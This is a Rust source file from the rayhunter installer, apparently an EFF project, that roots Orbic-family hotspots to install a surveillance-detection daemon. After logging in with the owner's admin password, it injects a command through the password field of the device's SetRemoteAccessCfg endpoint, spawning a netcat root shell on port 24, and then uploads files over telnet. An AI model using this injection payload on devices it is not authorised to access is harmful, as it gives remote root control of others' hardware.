Files
rayhunter/installer/src/orbic_network.rs
T
Markus Unterwaditzer 3e38f500a9 Install to /cache/rayhunter-data for tplink, add --data-dir parameter
This fixes several space-related issues at once.

We have observed the following phenomenon on TP-Link, Orbic and Moxee:

- Filling /data bricks the device (broken wifi, broken rndis, broken
  display)

- Filling /cache does not (it only bricks rayhunter if it's installed
  there, and it might break firmware updates)

Therefore it would make sense to store the entire rayhunter installation
in /cache.

This is a great idea for TP-Link and Moxee, because /cache is
significantly larger than /data. However, on Orbic, /data is
significantly larger than /cache!

This PR refactors orbic-network and tplink to use a shared codepath for
setting up the data directory. A symlink is created at /data/rayhunter,
and what it points to is device-specific:

- Orbic will have its data at `/data/rayhunter-data`

- There is a new alias `installer moxee` that overrides this to
  `/cache/rayhunter-data`

- TP-Link will have its data at /cache/rayhunter-data when there's no SD
  card, and /media/whatever when there is one.

In all cases, existing data is migrated to the new location. The user
can switch back and forth between two values of --data-dir and the data
will be moved over every time.

This PR has one huge wart, and that is that the USB installer for Orbic
remains untouched. The annoying reason for this is that the
DeviceConnection trait is insufficient to reflect all the different
kinds of shells you can have over USB: adb with fakeroot, and serial
with real root. I think it's not possible to create the right
directories with 'rootshell -c'.

I'm thinking of spawning a telnet server over serial, so that we can
just do telnet again, but this is for another time.
2026-02-24 13:42:31 -08:00

289 lines
8.6 KiB
Rust

use std::net::SocketAddr;
use std::str::FromStr;
use std::time::Duration;
use anyhow::{Context, Result, bail};
use reqwest::Client;
use serde::Deserialize;
use tokio::time::sleep;
use crate::RAYHUNTER_DAEMON_INIT;
use crate::connection::{TelnetConnection, install_config, setup_data_directory};
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
use crate::output::{eprintln, print, println};
use crate::util::{interactive_shell, telnet_send_command, telnet_send_file};
// Some kajeet devices have password protected telnetd on port 23, so we use port 24 just in case
const TELNET_PORT: u16 = 24;
#[derive(Deserialize, Debug)]
struct ExploitResponse {
retcode: u32,
}
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
let client: Client = Client::new();
// Step 1: Get login info (priKey and session cookie)
let login_info_response = client
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
.send()
.await
.context("Failed to get login info")?;
let session_cookie = login_info_response
.headers()
.get("set-cookie")
.and_then(|cookie| cookie.to_str().ok())
.context("No session cookie received")?
.split(';')
.next()
.context("Invalid cookie format")?
.to_string();
let login_info: LoginInfo = login_info_response
.json()
.await
.context("Failed to parse login info")?;
if login_info.retcode != 0 {
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
}
// Parse priKey (format: "secret x timestamp")
let mut parts = login_info.pri_key.split('x');
let secret = parts.next().context("Missing secret in priKey")?;
let timestamp = parts.next().context("Missing timestamp in priKey")?;
if parts.next().is_some() {
bail!("Invalid priKey format: {}", login_info.pri_key);
}
// Step 2: Encode credentials
let username_md5 = format!("{:x}", md5::compute(username));
let timestamp_start = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
.context("Failed to encode password")?;
let login_request = LoginRequest {
username: username_md5,
password: encoded_password,
};
// Step 3: Perform login
let login_response = client
.post(format!("http://{}/goform/login", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", &session_cookie)
.json(&login_request)
.send()
.await
.context("Failed to send login request")?;
// Extract authenticated session cookie from login response
let authenticated_cookie = login_response
.headers()
.get("set-cookie")
.and_then(|cookie| cookie.to_str().ok())
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
.unwrap_or(session_cookie);
let login_result: LoginResponse = login_response
.json()
.await
.context("Failed to parse login response")?;
if login_result.retcode != 0 {
match login_result.retcode {
201 => bail!("Login failed: incorrect password"),
code => bail!("Login failed with retcode: {}", code),
}
}
// Step 4: Exploit using authenticated session
let response: ExploitResponse = client
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
.header("Content-Type", "application/json")
.header("Cookie", authenticated_cookie)
// Original Orbic lacks telnetd (kajeet has it) so we need to use netcat
.body(format!(
r#"{{"password": "\"; busybox nc -ll -p {TELNET_PORT} -e /bin/sh & #"}}"#
))
.send()
.await
.context("failed to start telnet")?
.json()
.await
.context("failed to start telnet")?;
if response.retcode != 0 {
bail!("unexpected response while starting telnet: {:?}", response);
}
Ok(())
}
pub async fn start_telnet(
admin_ip: &str,
admin_username: &str,
admin_password: Option<&str>,
) -> Result<()> {
let Some(admin_password) = admin_password else {
anyhow::bail!("--admin-password is required");
};
print!("Logging in and starting telnet... ");
login_and_exploit(admin_ip, admin_username, admin_password).await?;
println!("done");
Ok(())
}
pub async fn install(
admin_ip: String,
admin_username: String,
admin_password: Option<String>,
reset_config: bool,
data_dir: Option<String>,
) -> Result<()> {
let Some(admin_password) = admin_password else {
eprintln!(
"As of version 0.8.0, the orbic installer has been rewritten and now requires an --admin-password parameter."
);
eprintln!(
"Refer to the official documentation at https://efforg.github.io/rayhunter/ for how to find the right value."
);
eprintln!();
eprintln!(
"If you are following a tutorial that does not include this parameter, the tutorial is likely outdated. You can run ./installer orbic-usb to access the old installer, however we recommend against it."
);
anyhow::bail!("exiting");
};
print!("Logging in and starting telnet... ");
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
println!("done");
print!("Waiting for telnet to become available... ");
wait_for_telnet(&admin_ip).await?;
println!("done");
let data_dir = data_dir.unwrap_or_else(|| "/data/rayhunter-data".to_string());
setup_rayhunter(&admin_ip, reset_config, &data_dir).await
}
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
let timeout = Duration::from_secs(60);
let start_time = std::time::Instant::now();
while telnet_send_command(addr, "true", "exit code 0", false)
.await
.is_err()
{
if start_time.elapsed() >= timeout {
bail!(
"Timeout waiting for telnet to become available after {:?}",
timeout
);
}
sleep(Duration::from_secs(1)).await;
}
Ok(())
}
async fn setup_rayhunter(admin_ip: &str, reset_config: bool, data_dir: &str) -> Result<()> {
let addr = SocketAddr::from_str(&format!("{admin_ip}:{TELNET_PORT}"))?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
// Remount filesystem as read-write to allow modifications
// This is really only necessary for the Moxee Hotspot
telnet_send_command(
addr,
"mount -o remount,rw /dev/ubi0_0 /",
"exit code 0",
false,
)
.await?;
let mut conn = TelnetConnection::new(addr, false);
setup_data_directory(&mut conn, data_dir).await?;
telnet_send_file(
addr,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
false,
)
.await?;
install_config(&mut conn, "orbic", reset_config).await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
RAYHUNTER_DAEMON_INIT.as_bytes(),
false,
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/misc-daemon",
include_bytes!("../../dist/scripts/misc-daemon"),
false,
)
.await?;
telnet_send_command(
addr,
"chmod +x /data/rayhunter/rayhunter-daemon",
"exit code 0",
false,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
false,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/misc-daemon",
"exit code 0",
false,
)
.await?;
println!("Installation complete. Rebooting device...");
telnet_send_command(addr, "shutdown -r -t 1 now", "", false)
.await
.ok();
println!(
"Device is rebooting. After it's started up again, check out the web interface at http://{}:8080",
admin_ip
);
Ok(())
}
/// Root the Orbic device and open an interactive shell
pub async fn shell(
admin_ip: &str,
admin_username: &str,
admin_password: Option<&str>,
) -> Result<()> {
start_telnet(admin_ip, admin_username, admin_password).await?;
eprintln!(
"This terminal is fairly limited. The shell prompt may not be visible, but it still accepts commands."
);
interactive_shell(admin_ip, TELNET_PORT, false).await
}